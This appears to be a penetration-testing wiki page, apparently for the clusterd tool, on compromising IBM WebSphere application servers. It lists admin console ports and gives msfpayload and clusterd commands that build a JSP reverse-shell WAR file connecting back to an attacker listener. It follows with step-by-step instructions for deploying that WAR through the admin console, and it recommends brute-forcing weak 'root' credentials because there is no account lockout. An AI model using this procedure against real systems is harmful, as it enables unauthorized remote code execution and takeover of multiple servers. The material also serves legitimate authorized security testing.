Skip to content

WebSphere

Jump to bottom
bryan alexander edited this page May 8, 2014 · 5 revisions

Research on WebSphere is ongoing. Currently there are no known pre-authentication vulnerabilities, however weak credentials are often observed 'in the wild'. If access to the administrative interfaces can be gained, remote code execution is possible by deploying a malicious web application (similar to Tomcat/JBoss).

Administrative Interfaces

WebSphere is unique in that SOME of the administrative interfaces are actually used to manage multiple application servers. If credentials can be guessed for such an interface, multiple application servers may be compromised.

The web administrative console has been observed at the following locations:

https://<host>:9043/ibm/console
https://<host>:9044/ibm/console
http://<host>:9061/ibm/console
http://<host>:9060/ibm/console

There are also RPC and SOAP administrative interfaces that can be interacted with using the wsadmin.sh script that comes bundled with websphere. The same credentials are required for these as the web interface and there are currently no known bypasses:

https://<host>:8880 (SOAP)

##Manually exploiting WebSphere Admin Console

With known administrative credentials, we may deploy a malicious WAR file to the application server (or application servers if this management interface is connected to more than one).

WebSphere will deploy a standard WAR file as generated by msfpayload or clusterd:

sudo python clusterd.py -o windows -a jboss --gen-payload localhost:4444
sudo msfpayload java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 SHELL=cmd.exe W > shell.war &>/dev/null

To deploy the WAR file and gain your shell:

  • Login to the admin interface at https://host:port/ibm/console/
  • Expand the "Applications" submenu on the left
  • Click "New Application"
  • Click "New Enterprise Application"
  • Browse to your WAR file and upload by clicking "Next"
  • Click Next again
  • On the "Select Installation Options" page click Next
  • On the "Map Module To Servers" page, select the servers you want to deploy to by checking the "Select" box, then click Next
  • On the "Map virtual hosts for Web modules" page, check the box and click "Next"
  • On the "Map context roots for Web modules" type something in for the "Context Root" (I use "warshell") and click Next. This is important not to leave default.
  • On the "Summary" page click Finish

The malicious WAR will now be installed, however it is not yet deployed. On the left menu bar, navigate to "Applications->Application Types->Websphere enterprise applications". You should be prompted to "Save" your configuration. Do so now.

You should now see your application in the list of installed applications, however it will have a red "X" next to it, indicating it is not active. To activate your application, check the box next to its name and click "Start".

Finally, to get your shell, you need to actually invoke the malicious JSP in the application. This is accomplished by accessing <nowiki>http://host:port/warshell</nowiki>

Here port is the port that the application server runs on, NOT the port for the management interface. Also, warshell is the name of the "Context Root" you defined when installing the application.

Credential Guessing Attacks

While there are no "default" credentials for WebSphere, a username of "root" is most common and passwords have been observed to be empty or easily guessable (root, admin, websphere, etc...). Bruteforce attacks may be worthwhile as there is no account lockout.

Clone this wiki locally